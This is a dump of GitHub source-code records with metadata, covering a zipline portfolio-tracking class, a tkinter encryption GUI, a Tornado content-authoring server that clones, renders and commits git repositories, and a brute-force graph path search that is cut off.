itervalues(self.orders_by_modified[dt])]\n else:\n orders = [x.to_dict() for x in itervalues(self.orders_by_id)]\n rval['orders'] = orders\n\n return rval\n\n def as_portfolio(self):\n \"\"\"\n The purpose of this method is to provide a portfolio\n object to algorithms running inside the same trading\n client. The data needed is captured raw in a\n PerformancePeriod, and in this method we rename some\n fields for usability and remove extraneous fields.\n \"\"\"\n # Recycles containing objects' Portfolio object\n # which is used for returning values.\n # as_portfolio is called in an inner loop,\n # so repeated object creation becomes too expensive\n portfolio = self._portfolio_store\n # maintaining the old name for the portfolio field for\n # backward compatibility\n portfolio.capital_used = self.period_cash_flow\n portfolio.starting_cash = self.starting_cash\n portfolio.portfolio_value = self.ending_cash + self.ending_value\n portfolio.pnl = self.pnl\n portfolio.returns = self.returns\n portfolio.cash = self.ending_cash\n portfolio.start_date = self.period_open\n portfolio.positions = self.get_positions()\n portfolio.positions_value = self.ending_value\n return portfolio\n\n def get_positions(self):\n\n positions = self._positions_store\n\n for sid, pos in iteritems(self.positions):\n\n if pos.amount == 0:\n # Clear out the position if it has become empty since the last\n # time get_positions was called. Catching the KeyError is\n # faster than checking `if sid in positions`, and this can be\n # potentially called in a tight inner loop.\n try:\n del positions[sid]\n except KeyError:\n pass\n continue\n\n # Note that this will create a position if we don't currently have\n # an entry\n position = positions[sid]\n position.amount = pos.amount\n position.cost_basis = pos.cost_basis\n position.last_sale_price = pos.last_sale_price\n return positions\n\n def get_positions_list(self):\n positions = []\n for sid, pos in iteritems(self.positions):\n if pos.amount != 0:\n positions.append(pos.to_dict())\n return positions\n", "repo_name": "NeoBert/czipline", "sub_path": "zipline/finance/performance/period.py", "file_name": "period.py", "file_ext": "py", "file_size_in_byte": 12041, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logbook.Logger", "line_number": 13, "usage_type": "call"}, {"api_name": "position.positiondict", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 43, "usage_type": "call"}, {"api_name": "zipline.protocol.Portfolio", "line_number": 50, "usage_type": "call"}, {"api_name": "zipline.protocol", "line_number": 50, "usage_type": "name"}, {"api_name": "zipline.protocol.Positions", "line_number": 51, "usage_type": "call"}, {"api_name": "zipline.protocol", "line_number": 51, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 59, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 60, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 60, "usage_type": "argument"}, {"api_name": "collections.OrderedDict", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 69, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 71, "usage_type": "call"}, {"api_name": "position.handle_split", "line_number": 86, "usage_type": "call"}, {"api_name": "position.amount", "line_number": 87, "usage_type": "attribute"}, {"api_name": "position.last_sale_price", "line_number": 89, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 101, "usage_type": "call"}, {"api_name": "six.iteritems", "line_number": 102, "usage_type": "call"}, {"api_name": "six.iteritems", "line_number": 107, "usage_type": "call"}, {"api_name": "position.amount", "line_number": 109, "usage_type": "attribute"}, {"api_name": "position.amount", "line_number": 111, "usage_type": "attribute"}, {"api_name": "position.last_sale_price", "line_number": 113, "usage_type": "attribute"}, {"api_name": "position.update", "line_number": 187, "usage_type": "call"}, {"api_name": "position.amount", "line_number": 189, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 197, "usage_type": "call"}, {"api_name": "zipline.protocol.DATASOURCE_TYPE", "line_number": 203, "usage_type": "attribute"}, {"api_name": "zipline.protocol", "line_number": 203, "usage_type": "name"}, {"api_name": "pandas.isnull", "line_number": 206, "usage_type": "call"}, {"api_name": "six.itervalues", "line_number": 252, "usage_type": "call"}, {"api_name": "six.itervalues", "line_number": 260, "usage_type": "call"}, {"api_name": "six.itervalues", "line_number": 262, "usage_type": "call"}, {"api_name": "six.iteritems", "line_number": 297, "usage_type": "call"}, {"api_name": "position.amount", "line_number": 313, "usage_type": "attribute"}, {"api_name": "position.cost_basis", "line_number": 314, "usage_type": "attribute"}, {"api_name": "position.last_sale_price", "line_number": 315, "usage_type": "attribute"}, {"api_name": "six.iteritems", "line_number": 320, "usage_type": "call"}]} {"seq_id": "17274603545", "text": "# GUI imports\n# from cgitb import text\nfrom email import message\nimport tkinter as tk\nfrom tkinter import Tk, ttk\nfrom tkinter import font\nfrom PIL import Image, ImageTk\n\n# encryptor / decryptor\nimport arrows\n\n# Global GUI variables (for showing/hiding inputs)\nOTP_selected = False\ndecrypt_selected = False\nencrypt_selected = False\nmessage_out = \"\"\nkey_out = \"\"\n\n\ndef main():\n def toggle_key_input():\n global OTP_selected\n if OTP_selected:\n key_text.grid()\n key_input.grid()\n else:\n key_text.grid_remove()\n key_input.grid_remove()\n OTP_selected = not OTP_selected\n\n def toggle_OTP_on_decrypt():\n global decrypt_selected\n global encrypt_selected\n global OTP_selected\n if decrypt_selected:\n if OTP_selected: # incase OTP was selected before selecting decrypt\n key_text.grid_remove()\n key_input.grid_remove()\n otp_text.grid()\n otp_checkbox.grid()\n else:\n encrypt_selected = False\n\n otp_checkbox.deselect()\n OTP_selected = False\n\n otp_text.grid_remove()\n otp_checkbox.grid_remove()\n key_text.grid()\n key_input.grid() # show key input incase otp was selected before selecting decrypt\n decrypt_selected = not decrypt_selected\n\n def toggle_OTP_on_encrypt():\n global encrypt_selected\n global decrypt_selected\n if decrypt_selected:\n otp_text.grid()\n otp_checkbox.grid()\n decrypt_selected = False\n encrypt_selected = not encrypt_selected\n\n def enter_onclick():\n global message_out\n global key_out\n\n result = ()\n key = key_input.get(\"1.0\", tk.END).replace(\"\\n\", \"\")\n message = message_input.get(\"1.0\", tk.END).replace(\"\\n\", \"\")\n message_output.config(text=\"\")\n key_output.config(text=\"\")\n\n if e_d_selection.get() == 0:\n user_return_message.config(text=\"Select Encrypt or Decrypt\")\n elif not OTP_selected and key == \"\":\n user_return_message.config(\n text=\"Enter a key or select \\'Generate OTP key\\'\")\n elif message == \"\":\n user_return_message.config(\n text=\"Enter a message to encrypt or decrypt\")\n else:\n user_return_message.config(text=\"\")\n if e_d_selection.get() == 1:\n if OTP_selected:\n result = arrows.encryptor(\n encrypt_decrypt=1, use_OTP=True, text=message)\n else:\n result = arrows.encryptor(\n encrypt_decrypt=1, use_OTP=False, key=key, text=message)\n elif e_d_selection.get() == 2:\n result = arrows.encryptor(\n encrypt_decrypt=2, key=key, text=message)\n\n message_out = result[0]\n key_out = result[1]\n\n message_output.config(text=result[0])\n key_output.config(text=result[1])\n\n def copy_message():\n global message_out\n root.clipboard_clear()\n root.clipboard_append(message_out)\n root.update() # text stays after the window is closed\n\n def copy_key():\n global key_out\n root.clipboard_clear()\n root.clipboard_append(key_out)\n root.update()\n\n root = tk.Tk()\n # root.configure(background=\"#C3C3C3\")\n canvas = tk.Canvas(root, width=700, height=700)\n canvas.grid(rowspan=30, columnspan=3)\n\n # logo\n logo = Image.open(\"img/arrows_logo.jpg\")\n logo = ImageTk.PhotoImage(logo)\n logo_label = tk.Label(image=logo)\n logo_label.image = logo\n logo_label.grid(row=0, column=0)\n\n encrypt_decrypt_text = tk.Label(\n root, text=\"Encrypt or Decrypt:\", font=\"Raleway\")\n encrypt_decrypt_text.grid(row=1, column=0)\n\n e_d_selection = tk.IntVar()\n e = tk.Checkbutton(root, text=\"Encrypt\", variable=e_d_selection,\n onvalue=1, command=toggle_OTP_on_encrypt)\n e.grid(row=1, column=1)\n d = tk.Checkbutton(root, text=\"Decrypt\", variable=e_d_selection,\n onvalue=2, command=toggle_OTP_on_decrypt)\n d.grid(row=1, column=2)\n\n OTP_selection = tk.IntVar()\n otp_text = tk.Label(root, text=\"Generate OTP key?\", font=\"Raleway\")\n otp_text.grid(row=3, column=0)\n\n otp_checkbox = tk.Checkbutton(\n root, text='OTP Key', variable=OTP_selection, onvalue=1, command=toggle_key_input)\n otp_checkbox.grid(row=3, column=1)\n\n key_text = tk.Label(root, text=\"Enter key:\", font=\"Raleway\")\n key_text.grid(row=4, column=0)\n\n key_input = tk.Text(root, height=3, width=30)\n key_input.grid(row=4, column=1)\n\n message_text = tk.Label(root, text=\"Enter message:\", font=\"Raleway\")\n message_text.grid(row=5, column=0)\n\n message_input = tk.Text(root, height=5, width=30)\n message_input.grid(row=5, column=1)\n\n enter = tk.Button(root, height=2, width=10,\n text=\"Enter\", command=enter_onclick)\n enter.grid(row=6, column=1)\n\n user_return_message = tk.Label(root, text=\"\", fg=\"#ee3377\")\n user_return_message.grid(row=7, column=1)\n\n message_output_text = tk.Label(\n root, text=\"Message output:\", font=\"Raleway\")\n message_output_text.grid(row=8, column=0)\n\n message_output = tk.Label(root, text=\"\", fg=\"#ee3377\", wraplength=250)\n message_output.grid(row=8, column=1)\n\n key_output_text = tk.Label(root, text=\"Key output:\", font=\"Raleway\")\n key_output_text.grid(row=9, column=0)\n\n key_output = tk.Label(root, text=\"\", fg=\"#ee3377\", wraplength=250)\n key_output.grid(row=9, column=1)\n\n cpy_msg_btn = tk.Button(root, height=1, width=5,\n text=\"Copy\", command=copy_message)\n cpy_msg_btn.grid(row=8, column=2)\n\n cpy_key_btn = tk.Button(root, height=1, width=5,\n text=\"Copy\", command=copy_key)\n cpy_key_btn.grid(row=9, column=2)\n\n root.columnconfigure(0, minsize=40)\n root.rowconfigure(0, pad=30)\n # root.grid_rowconfigure(2, pad=10)\n # root.grid_rowconfigure(3, pad=10)\n\n root.mainloop()\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "hunter-c/arrows-encrypt", "sub_path": "arrows_gui.py", "file_name": "arrows_gui.py", "file_ext": "py", "file_size_in_byte": 6197, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tkinter.END", "line_number": 67, "usage_type": "attribute"}, {"api_name": "email.message", "line_number": 68, "usage_type": "name"}, {"api_name": "tkinter.END", "line_number": 68, "usage_type": "attribute"}, {"api_name": "email.message", "line_number": 77, "usage_type": "name"}, {"api_name": "arrows.encryptor", "line_number": 84, "usage_type": "call"}, {"api_name": "email.message", "line_number": 85, "usage_type": "name"}, {"api_name": "arrows.encryptor", "line_number": 87, "usage_type": "call"}, {"api_name": "email.message", "line_number": 88, "usage_type": "name"}, {"api_name": "arrows.encryptor", "line_number": 90, "usage_type": "call"}, {"api_name": "email.message", "line_number": 91, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 111, "usage_type": "call"}, {"api_name": "tkinter.Canvas", "line_number": 113, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 117, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 117, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 118, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 118, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 119, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 123, "usage_type": "call"}, {"api_name": "tkinter.IntVar", "line_number": 127, "usage_type": "call"}, {"api_name": "tkinter.Checkbutton", "line_number": 128, "usage_type": "call"}, {"api_name": "tkinter.Checkbutton", "line_number": 131, "usage_type": "call"}, {"api_name": "tkinter.IntVar", "line_number": 135, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 136, "usage_type": "call"}, {"api_name": "tkinter.Checkbutton", "line_number": 139, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 143, "usage_type": "call"}, {"api_name": "tkinter.Text", "line_number": 146, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 149, "usage_type": "call"}, {"api_name": "tkinter.Text", "line_number": 152, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 155, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 159, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 162, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 166, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 169, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 172, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 175, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 179, "usage_type": "call"}]} {"seq_id": "9326307274", "text": "import asyncio\nimport functools\nimport json\nimport os\nimport subprocess\n\nfrom git import Repo, Actor\nfrom importlib import resources\nfrom mimetypes import guess_type\nfrom shutil import rmtree\nfrom tornado import web, websocket\n\n\nasync def render(basepath: str):\n \"\"\"Render the project at the given basepath.\"\"\"\n install = await asyncio.create_subprocess_exec('poetry', 'install', cwd=basepath)\n await install.wait()\n build = await asyncio.create_subprocess_exec('poetry', 'run', 'make', 'html', cwd=basepath, stdout=subprocess.PIPE)\n await build.wait()\n return (await build.stdout.read()).decode('utf-8')\n\n\nclass FrontendHandler(web.RequestHandler):\n \"\"\"Handles serving the UI.\"\"\"\n\n def initialize(self, basepath: str):\n self.basepath = basepath\n\n def get(self, path):\n \"\"\"Return the UI resource at ``path``.\"\"\"\n if path.startswith('/'):\n path = path[1:]\n base = resources.files('ou_content_author') / 'frontend' / 'public'\n try:\n self.send_resource(base, path.split('/'))\n except FileNotFoundError:\n self.send_resource(base, ('index.html',))\n\n def send_resource(self, resource, path):\n \"\"\"Send the resource identified by the ``path``.\n\n Performs content modification when sending the index.html file to set the correct base path for all resources.\n \"\"\"\n for part in path:\n resource = resource / part\n try:\n mimetype = guess_type(path[-1])\n if mimetype and mimetype[0]:\n self.set_header('Content-Type', mimetype[0])\n if path == ('index.html',):\n content = resource.read_bytes().decode('utf-8')\n content = content.replace('{app_path}', f'{self.basepath}app/')\n self.write(content.encode('utf-8'))\n else:\n self.write(resource.read_bytes())\n except IsADirectoryError:\n raise FileNotFoundError\n except IndexError:\n raise FileNotFoundError\n\n\nclass ApiHandler(websocket.WebSocketHandler):\n\n def initialize(self, repository_location: str):\n self._repository_location = repository_location\n self._task = None\n\n async def on_message(self, message: str):\n data = json.loads(message)\n if 'type' in data:\n if data['type'] == 'clone-repository':\n self.clone_repository(data)\n elif data['type'] == 'delete-repository':\n self.delete_repository(data)\n elif data['type'] == 'checkout-branch':\n self.checkout_branch(data)\n elif data['type'] == 'select-block':\n self.select_block(data)\n elif data['type'] == 'load-file-content':\n await self.load_file_content(data)\n elif data['type'] == 'save-file-content':\n await self.save_file_content(data)\n elif data['type'] == 'commit-changes':\n self.commit_changes(data)\n elif data['type'] == 'discard-changes':\n self.discard_changes(data)\n elif data['type'] == 'add-file':\n self.add_file(data)\n elif data['type'] == 'delete-file':\n self.delete_file(data)\n\n def send_message(self, message: dict):\n self.write_message(json.dumps(message))\n\n def clone_repository(self, data: dict):\n \"\"\"Clone the repository at the URL.\"\"\"\n if 'url' in data:\n if os.path.exists(self._repository_location):\n rmtree(self._repository_location)\n repo = Repo.clone_from(data['url'], self._repository_location)\n branches = [ref.path.split('/')[-1] for ref in repo.remote().refs if not ref.path.endswith('/HEAD')]\n self.send_message({\n 'type': 'repository',\n 'branches': branches\n })\n\n def delete_repository(self, data: dict):\n if os.path.exists(self._repository_location):\n rmtree(self._repository_location)\n self.send_message({\n 'type': 'repository-deleted',\n })\n\n def checkout_branch(self, data: dict):\n \"\"\"Checkout the branch either locally or from remote\"\"\"\n if 'branch' in data:\n repo = Repo(self._repository_location)\n found = False\n for ref in repo.branches:\n if ref.path.endswith(f'/{data[\"branch\"]}'):\n ref.checkout()\n found = True\n break\n if not found:\n for ref in repo.remote().refs:\n if ref.path.endswith(f'/{data[\"branch\"]}'):\n repo.git.checkout('-b', data['branch'], ref.path)\n found = True\n if found:\n blocks = []\n for basepath, dirnames, filenames in os.walk(self._repository_location):\n for filename in filenames:\n if filename == 'conf.py':\n blocks.append(os.path.join(basepath, filename)[len(self._repository_location):])\n self.send_message({\n 'type': 'branch',\n 'blocks': blocks\n })\n\n def select_block(self, data: dict):\n \"\"\"Select a given block.\"\"\"\n if 'block' in data:\n self.scan_block(data['block'])\n\n async def load_file_content(self, data: dict):\n \"\"\"Load the content of a file.\"\"\"\n if 'file' in data and 'block' in data and 'directory' in data['file'] and 'filename' in data['file']:\n filepath = os.path.join(self._repository_location,\n os.path.dirname(data['block'])[1:],\n data['file']['directory'],\n data['file']['filename'])\n if os.path.exists(filepath) and os.path.abspath(filepath).startswith(os.path.abspath(self._repository_location)):\n with open(filepath) as in_f:\n self.send_message({\n 'type': 'file-content',\n 'content': in_f.read()\n })\n await self.run_render(os.path.join(self._repository_location, os.path.dirname(data['block'])[1:]),\n os.path.dirname(data['block'])[1:],\n os.path.join(data['file']['directory'], data['file']['filename']))\n\n async def save_file_content(self, data: dict):\n \"\"\"Save the updated file content.\"\"\"\n if 'file' in data and 'block' in data and 'directory' in data['file'] and 'filename' in data['file'] and 'content' in data:\n filepath = os.path.join(self._repository_location,\n os.path.dirname(data['block'])[1:],\n data['file']['directory'],\n data['file']['filename'])\n if os.path.exists(filepath) and os.path.abspath(filepath).startswith(os.path.abspath(self._repository_location)):\n with open(filepath, 'w') as out_f:\n out_f.write(data['content'])\n await self.run_render(os.path.join(self._repository_location, os.path.dirname(data['block'])[1:]),\n os.path.dirname(data['block'])[1:],\n os.path.join(data['file']['directory'], data['file']['filename']))\n self.check_repo_changes()\n\n\n def commit_changes(self, data: dict):\n \"\"\"Commit and push changes.\"\"\"\n if 'name' in data and data['name'] and 'email' in data and data['email'] and 'message' in data and data['message']:\n repo = Repo(self._repository_location)\n if len(repo.index.diff(None) + repo.index.diff('HEAD')) > 0 or len(repo.untracked_files) > 0:\n repo.git.add('.')\n actor = Actor(data['name'], data['email'])\n repo.index.commit(data['message'], author=actor, committer=actor)\n repo.git.push('--force')\n self.send_message({\n 'type': 'changes-committed',\n })\n self.check_repo_changes()\n\n def discard_changes(self, data: dict):\n \"\"\"Discard any changes.\"\"\"\n repo = Repo(self._repository_location)\n repo.git.checkout('--', '.')\n self.send_message({\n 'type': 'changes-discarded',\n })\n self.check_repo_changes()\n\n def add_file(self, data: dict):\n if 'block' in data and 'file' in data and 'directory' in data['file'] and 'filename' in data['file']:\n filepath = os.path.join(self._repository_location,\n os.path.dirname(data['block'])[1:],\n data['file']['directory'],\n data['file']['filename'])\n if not os.path.exists(filepath) and os.path.abspath(filepath).startswith(os.path.abspath(self._repository_location)):\n if not os.path.exists(os.path.dirname(filepath)):\n os.makedirs(os.path.dirname(filepath), exist_ok=True)\n with open(filepath, 'w') as out_f:\n if filepath.endswith('.md'):\n out_f.write('# Page Title')\n self.scan_block(data['block'])\n self.check_repo_changes()\n\n def delete_file(self, data: dict):\n if 'block' in data and 'file' in data and 'directory' in data['file'] and 'filename' in data['file']:\n filepath = os.path.join(self._repository_location,\n os.path.dirname(data['block'])[1:],\n data['file']['directory'],\n data['file']['filename'])\n if os.path.exists(filepath) and os.path.abspath(filepath).startswith(os.path.abspath(self._repository_location)):\n os.unlink(filepath)\n self.scan_block(data['block'])\n self.check_repo_changes()\n\n async def run_render(self, basepath: str, block: str, filepath: str):\n \"\"\"Run the render process and send the required messages.\"\"\"\n if basepath.endswith('/source'):\n basepath = basepath[:-7]\n self.send_message({\n 'type': 'file-rendering',\n })\n if self._task is not None and not self._task.done():\n self._task.cancel()\n self._task = asyncio.create_task(render(basepath))\n self._task.add_done_callback(functools.partial(self.render_complete, block, filepath))\n\n def render_complete(self, block: str, filepath: str, task: asyncio.Task):\n \"\"\"Report rendering completed to the client.\"\"\"\n if not task.cancelled():\n result = task.result()\n if result:\n if '.' in filepath:\n filepath = f'{filepath[:filepath.rfind(\".\")]}.html'\n else:\n filepath = f'{filepath}.html'\n if block.endswith('/source'):\n block = block[:-7]\n self.send_message({\n 'type': 'file-rendered',\n 'url': f'/{block}/{filepath}',\n 'output': result,\n })\n\n def check_repo_changes(self):\n \"\"\"Check if there are changes to commit in the repo.\"\"\"\n repo = Repo(self._repository_location)\n if len(repo.index.diff(None) + repo.index.diff('HEAD')) > 0 or len(repo.untracked_files) > 0:\n self.send_message({\n 'type': 'changes-found'\n })\n else:\n self.send_message({\n 'type': 'no-changes-found'\n })\n\n def scan_block(self, block):\n \"\"\"Scan the block and send back the \"\"\"\n blockpath = os.path.dirname(f'{self._repository_location}{block}')\n files = []\n for basepath, dirnames, filenames in os.walk(blockpath):\n for filename in filenames:\n if filename.endswith('.md'):\n files.append({\n 'directory': basepath[len(blockpath) + 1:],\n 'filename': filename\n })\n self.send_message({\n 'type': 'block',\n 'path': block,\n 'files': files\n })\n\n\nclass RenderedHandler(web.RequestHandler):\n \"\"\"Handler for the rendered HTML pages.\"\"\"\n\n def initialize(self, repository_location: str):\n \"\"\"Initialise the handler.\"\"\"\n self._repository_location = repository_location\n\n def get(self, path: str):\n \"\"\"Get the rendered HTML page.\"\"\"\n if path.startswith('/'):\n path = path[1:]\n path_elements = path.split('/')\n filepath = os.path.abspath(os.path.join(self._repository_location,\n path_elements[0],\n 'build',\n 'html',\n *path_elements[1:]))\n if filepath.startswith(self._repository_location) and os.path.exists(filepath):\n mimetype = guess_type(filepath)\n if mimetype and mimetype[0]:\n self.set_header('Content-Type', mimetype[0])\n with open(filepath, 'rb') as in_f:\n self.write(in_f.read())\n", "repo_name": "mmh352/ou-content-author", "sub_path": "ou_content_author/handlers.py", "file_name": "handlers.py", "file_ext": "py", "file_size_in_byte": 13433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "asyncio.create_subprocess_exec", "line_number": 16, "usage_type": "call"}, {"api_name": "asyncio.create_subprocess_exec", "line_number": 18, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tornado.web.RequestHandler", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 23, "usage_type": "name"}, {"api_name": "importlib.resources.files", "line_number": 33, "usage_type": "call"}, {"api_name": "importlib.resources", "line_number": 33, "usage_type": "name"}, {"api_name": "mimetypes.guess_type", "line_number": 47, "usage_type": "call"}, {"api_name": "tornado.websocket.WebSocketHandler", "line_number": 62, "usage_type": "attribute"}, {"api_name": "tornado.websocket", "line_number": 62, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 69, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 99, "usage_type": "call"}, {"api_name": "git.Repo.clone_from", "line_number": 100, "usage_type": "call"}, {"api_name": "git.Repo", "line_number": 100, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 109, "usage_type": "call"}, {"api_name": "git.Repo", "line_number": 117, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path", "line_number": 158, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path", "line_number": 159, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 160, "usage_type": "call"}, {"api_name": "os.path", "line_number": 160, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path", "line_number": 169, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path", "line_number": 172, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 174, "usage_type": "attribute"}, {"api_name": "git.Repo", "line_number": 181, "usage_type": "call"}, {"api_name": "git.Actor", "line_number": 184, "usage_type": "call"}, {"api_name": "git.Repo", "line_number": 194, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 203, "usage_type": "call"}, {"api_name": "os.path", "line_number": 203, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 204, "usage_type": "call"}, {"api_name": "os.path", "line_number": 204, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 207, "usage_type": "call"}, {"api_name": "os.path", "line_number": 207, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 207, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 208, "usage_type": "call"}, {"api_name": "os.path", "line_number": 208, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 208, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 209, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 209, "usage_type": "call"}, {"api_name": "os.path", "line_number": 209, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 218, "usage_type": "call"}, {"api_name": "os.path", "line_number": 218, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 219, "usage_type": "call"}, {"api_name": "os.path", "line_number": 219, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path", "line_number": 222, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 222, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 223, "usage_type": "call"}, {"api_name": "asyncio.create_task", "line_number": 236, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 237, "usage_type": "call"}, {"api_name": "asyncio.Task", "line_number": 239, "usage_type": "attribute"}, {"api_name": "git.Repo", "line_number": 258, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path", "line_number": 270, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 272, "usage_type": "call"}, {"api_name": "tornado.web.RequestHandler", "line_number": 286, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 286, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 298, "usage_type": "call"}, {"api_name": "os.path", "line_number": 298, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 298, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 303, "usage_type": "call"}, {"api_name": "os.path", "line_number": 303, "usage_type": "attribute"}, {"api_name": "mimetypes.guess_type", "line_number": 304, "usage_type": "call"}]} {"seq_id": "17365224360", "text": "from itertools import product # Biblioteca que realiza arranjos de análise combinatória\nimport time\n\n# Classe que representa o grafo e realiza todas as operações com ele\nclass Grafo:\n # Método que inicializa a classe\n def __init__(self, matriz):\n self.matriz = matriz\n self.tamanhoCaminho = 0\n self.construirGrafo() \n self.solucionado = False\n self.caminhosEncontrados = []\n self.inicio = 0\n self.fim = 0\n\n # Método onde percorre a matriz e constrói a lista de vértices e self.arestas\n def construirGrafo(self):\n self.vertices = list(range(len(self.matriz[0])))\n self.arestas = []\n qtdOrdenadas = 0\n qtdNOrdenadas = 0\n i = 0\n while i < len(self.matriz):\n j = 0\n while j < len(self.matriz[i]):\n if((self.matriz[i][j]!=0) and (self.matriz[i][j] == self.matriz[j][i])):\n self.arestas.append([i,j, self.matriz[i][j], True])\n qtdNOrdenadas = qtdNOrdenadas + 1\n if((self.matriz[i][j]!=0) and (self.matriz[i][j] != self.matriz[j][i])):\n self.arestas.append([i,j, self.matriz[i][j], False])\n qtdOrdenadas = qtdOrdenadas + 1\n j = j + 1\n i = i + 1\n print(self.arestas)\n self.tamanhoCaminho = qtdOrdenadas + int(qtdNOrdenadas/2)\n\n # Método que inicia o caminhamento no grafo\n def caminharGrafo(self):\n self.inicio = time.time()\n while(self.solucionado == False):\n #self.caminhos = list(product(self.vertices, repeat=self.tamanhoCaminho))\n for caminho in product(self.vertices, repeat=self.tamanhoCaminho):\n caminho = list(caminho)\n if caminho[0] != caminho[len(caminho)-1]:\n caminho.append(caminho[0])\n self.verifica_aresta_vertice(list(caminho))\n self.tamanhoCaminho = self.tamanhoCaminho + 1\n self.calculaCusto()\n\n #verifica se aresta é não direcionada e se já foi visitada em outra direção\n def nao_direcionada_visitada(self, caminho, verticeInicial, verticeFinal):\n retorno = False\n if(self.existe_aresta(verticeFinal, verticeInicial)):\n i = 1\n while i < len(caminho):\n if(verticeFinal==caminho[i-1] and verticeInicial==caminho[i]):\n retorno = True\n i = i + 1\n return retorno \n\n #verifica se existe essa aresta\n def existe_aresta(self, verticeInicial, verticeFinal):\n for aresta in self.arestas:\n if(aresta[0]==verticeInicial 